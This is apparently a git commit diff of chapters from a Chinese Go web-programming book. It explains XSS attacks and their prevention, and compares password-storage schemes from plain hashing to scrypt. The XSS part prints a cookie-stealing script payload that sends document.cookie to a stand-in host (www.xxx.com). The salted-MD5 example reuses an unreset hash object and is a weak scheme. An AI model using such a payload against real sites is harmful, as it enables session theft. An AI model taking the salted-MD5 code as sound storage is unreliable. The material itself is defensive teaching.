完成了密码存储的小节

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xiemengjun
2012-10-18 23:51:03 +08:00
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9.3.md
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##9.3 避免XSS攻击
随着互联网技术的发展现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容就是根据用户环境和需要Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
随着互联网技术的发展现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容就是Web应用程序能够根据用户环境和需要输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
##什么是XSS
XSS攻击跨站脚本攻击(Cross-Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞它允许恶意web用户将代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者)XSS涉及到三方即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取客户端的cookie或者其他网站用于识别客户端身份的敏感信息。获取到合法用户的信息后攻击者甚至可以假冒最终用户与网站进行交互。
@@ -10,23 +10,23 @@ XSS目前主要的手段和目的如下
- 盗用cookie获取敏感信息。
- 利用植入Flash通过crossdomain权限设置进一步获取更高权限或者利用Java等得到类似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式被攻击者用户的身份执行一些管理动作或执行一些一般的如发微博、加好友、发私信等操作前段时间新浪微博就遭遇过一次XSS。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式被攻击者用户的身份执行一些管理动作或执行一些如:发微博、加好友、发私信等常规操作前段时间新浪微博就遭遇过一次XSS。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站实现DDoS攻击的效果
##XSS的原理
XSS漏洞产生的原因是由于Web应用对用户提交请求的数据做充分的检查过滤允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”)然后未加编码地输出到第三方用户的浏览器,这些攻击者恶意提交代码会被受害用户的浏览器解释执行。
Web应用对用户提交请求的数据做充分的检查过滤允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”)并将未经转义的恶意代码输出到第三方用户的浏览器解释执行是导致XSS漏洞的产生原因
接下来以反射性XSS举例说明XSS的过程现在有一个网站根据参数输出用户的名称例如访问url"http://127.0.0.1/?name=astaxie",就会在浏览器输出如下信息:
hello astaxie
那么如果我们传递这样的url"http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>",这个时候你就会发现你的浏览器跳出一个弹出框这说明站点已经存在了XSS漏洞那么用户如何来获取Cookie呢也是类似上面的代码,输入如下的url"http://127.0.0.1/?name=<script>document.location='http://www.xxx.com/cookie?'%20+document.cookie</script>"这样就可以把当前的cookie发送到指定www.xxx.com站点。这样攻击者就可以把类似这样的url进行短域名服务缩短url然后把这些url通过途径传播开来被攻击用户一旦点击了这样的url相应数据就会被发送到收集cookie的脚本中。这样就得了cookie信息然后利用Websleuth之类的工具来检查是否能盗取那个账户
如果我们传递这样的url"http://127.0.0.1/?name=alert(&#39;astaxie,xss&#39;)",这时你就会发现浏览器跳出一个弹出框这说明站点已经存在了XSS漏洞那么恶意用户如何取Cookie呢?与上类似,如下这样的url"http://127.0.0.1/?name=<script>document.location='http://www.xxx.com/cookie?'%20+document.cookie</script>"这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也放会说这样的URL一看就有问题怎么会有人点击是的这类的URL会让人怀疑但如果使用短网址服务将之缩短你还看得出来么攻击者将缩短过后的url通过某些途径传播开来被攻击用户一旦点击了这样的url相应cookie数据就会被发送事先设定好的站点,这样就得了cookie信息然后就可以利用Websleuth之类的工具来检查是否能盗取那个可怜的用户的账户信息了
更加详细的关于XSS的分析大家可以参考这篇文章:http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html 新浪微博XSS事件分析
更加详细的关于XSS的分析大家可以参考这篇叫做《新浪微博XSS事件分析》的文章http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html
##如何预防XSS
其实这个问题很简单,坚决不要相信任何用户输入并过滤所有特殊字符。这样就能消灭绝大部分的XSS攻击。
答案很简单,坚决不要相信用户的任何输入并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。
目前防御XSS主要有如下几种方式
@@ -42,7 +42,7 @@ XSS漏洞产生的原因是由于Web应用对用户提交请求的数据未做
这样就可以让浏览器解析javascript代码而不会是html输出。
##总结
通过上面的介绍我们发现了XSS漏洞是相当有危害的我们在开发我们的Web应用的时候一定要记住过滤数据特别是在输出到客户端之前是现在行之有效的防止XSS的手段。
XSS漏洞是相当有危害的在开发Web应用的时候一定要记住过滤数据特别是在输出到客户端之前这是现在行之有效的防止XSS的手段。
## links
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9.5.md
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##9.5 存储密码
过去一段时间来, 许多的网站遭遇用户密码数据库泄露事件, 这其中包括顶级的互联网企业Linkedin, 国内诸如CSDN近600万用户帐号密码外泄该事件横扫整个国内互联网并且随后又爆出多玩游戏800万用户资料被泄露 ,另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件对用户会造成巨大的影响,因为人们往往习惯在不同网站使用相同的密码,一家“暴库”,全部遭殃。
那么我们作为一个Web应用开发者在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱?
##普通方案
目前我们用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。
Go语言对这三种加密算法的实现如下所示
//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))
单向哈希有两个特性:
- 1同一个密码进行单向哈希得到的总是唯一确定的摘要。
- 2计算速度快。随着技术进步一秒钟能够完成数十亿次单向哈希计算。
结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为`rainbow table`
因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。
##进阶方案
通过上面介绍我们知道黑客可以用`rainbow table`来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。
一个直接的解决办法是,自己设计一个哈希算法。然而,一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。
但是单纯的多次哈希,依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法我们能想到黑客自然也能想到。特别是对于一些开源代码这样哈希更是相当于直接把算法告诉了黑客。
没有攻不破的盾,但也没有折不断的矛。现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是先将用户输入的密码进行一次MD5或其它哈希算法加密将得到的 MD5 值前后加上一些只有管理员自己知道的随机串再进行一次MD5加密。这个随机串中可以包括某些固定的串也可以包括用户名用来保证每个用户加密使用的密钥都不一样
//import "crypto/md5"
//假设用户名abc密码123456
h := md5.New()
io.WriteString(h, "需要加密的密码")
//a等于e10adc3949ba59abbe56e057f20f883e
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))
//指定两个 salt salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"
//salt1+用户名+salt2+MD5拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)
last :=fmt.Sprintf("%x", h.Sum(nil))
在两个salt没有泄露的情况下黑客如果拿到的是最后这个加密串就几乎不可能推算出原始的密码是什么了。
##专家方案
也许在几年前上面的进阶方案也许是足够安全的方案因为攻击者没有足够的资源建立这么多的rainbow table。 但是,在今日,因为并行计算能力的提升,这种攻击已经完全可行。
故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的`rainbow table`
这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立`rainbow table`越困难,以至于不可继续。
这里推荐`scrypt`方案scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。
目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
通过上面的的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。
##总结
看到这里,如果你产生了危机感,那么就行动起来:
- 1如果你是普通用户那么我们建议使用LastPass进行密码存储和生成对不同的网站使用不同的密码
- 2如果你是开发人员 那么我们强烈建议你采用专家方案进行密码存储。
## links
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